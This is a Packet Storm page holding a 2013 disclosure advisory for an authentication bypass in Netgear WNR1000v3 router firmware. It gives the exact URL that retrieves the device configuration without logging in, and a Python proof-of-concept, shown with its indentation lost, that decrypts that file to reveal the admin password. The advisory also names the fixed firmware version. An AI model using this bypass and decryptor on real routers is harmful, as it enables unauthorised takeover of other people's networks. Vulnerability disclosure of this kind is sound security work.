exploit the possibilities

Netgear WNR1000 Authentication Bypass

Netgear WNR1000 Authentication Bypass
Posted Mar 30, 2013
Authored by Roberto Paleari

Netgear WNR1000 suffers from an authentication bypass vulnerability.

tags | exploit, bypass
MD5 | 1da8155c7c2e479cd819b6144972d9d0

Netgear WNR1000 Authentication Bypass

Change Mirror Download
Authentication bypass on Netgear WNR1000
========================================

[ADVISORY INFORMATION]
Title: Authentication bypass on Netgear WNR1000
Discovery date: 10/11/2012
Release date: 29/03/2013
Credits: Roberto Paleari (roberto@greyhats.it, twitter: @rpaleari)

[VULNERABILITY INFORMATION]
Class: Authentication bypass, weak encryption

[AFFECTED PRODUCTS]
This security vulnerability affects the following products and firmware
versions:
* Netgear WNR1000v3, firmware version < 1.0.2.60

Other products and firmware versions are probably also vulnerable, but they
were not checked.

[VULNERABILITY DETAILS]
The web server running on the affected devices is subject to an authentication
bypass issue that allows attacker to gain administrative access, circumventing
existing authentication mechanisms.

Strictly speaking, the web server skips authentication checks for some URLs,
such as those that contain the substring ".jpg" (without quotes). As a
consequence, an attacker can retrieve the current device configuration by
accessing the following URL:

http://<target-ip-address>/NETGEAR_fwpt.cfg?.jpg

The resulting configuration file is encrypted. However the device implements a
trivial encryption scheme, that can be reversed quite easily. From the
configuration file, attackers can extract, among the other things, the
clear-text password for the "admin" user.

A Python procedure that implements the aforementioned encryption scheme
follows (the code of this PoC is inefficient and is quite a mess):

<cut>
import pyDes
import os, sys

# Encryption key is a slightly variation of "NtgrBak"
KEY = [0x56-8, 0x74, 0x67, 0x72, 0x42, 0x61, 0x6b, 0x00]

def derive_des_key(ascii_key):
def extract_by_offset(offset):
byte_index = offset >> 3
bit_index = byte_index << 3

v0 = (ascii_key[byte_index] << 8) | ascii_key[byte_index+1]
v1 = 8 - (offset - bit_index)
v0 >>= v1
return v0 & 0xfe

k = ""
for i in range(0, 7*8, 7):
k += chr(extract_by_offset(i))
return k

def decrypt_block(block, key_bytes):
k = derive_des_key(key_bytes)
des = pyDes.des(k, pyDes.ECB)
r = des.decrypt(block)
return r

def main():
data = sys.stdin.read()
assert (len(data) % 8) == 0

current_key = KEY[:]

r = ""
for i in range(0, len(data), 8):
current_key[0] += 8
if current_key[0] > 0xff:
current_key[0] = current_key[0] - 0x100
current_key[1] += 1

block = data[i:i+8]
d = decrypt_block(block, current_key)

r += d

sys.stdout.write(r)
</cut>


[REMEDIATION]
This issue has been addressed by Netgear with firmware version 1.0.2.60.

[DISCLAIMER]
The author is not responsible for the misuse of the information provided in
this security advisory. The advisory is a service to the professional security
community. There are NO WARRANTIES with regard to this information. Any
application or distribution of this information constitutes acceptance AS IS,
at the user's own risk. This information is subject to change without notice.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    15 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    7 Files
  • 18
    Jul 18th
    4 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close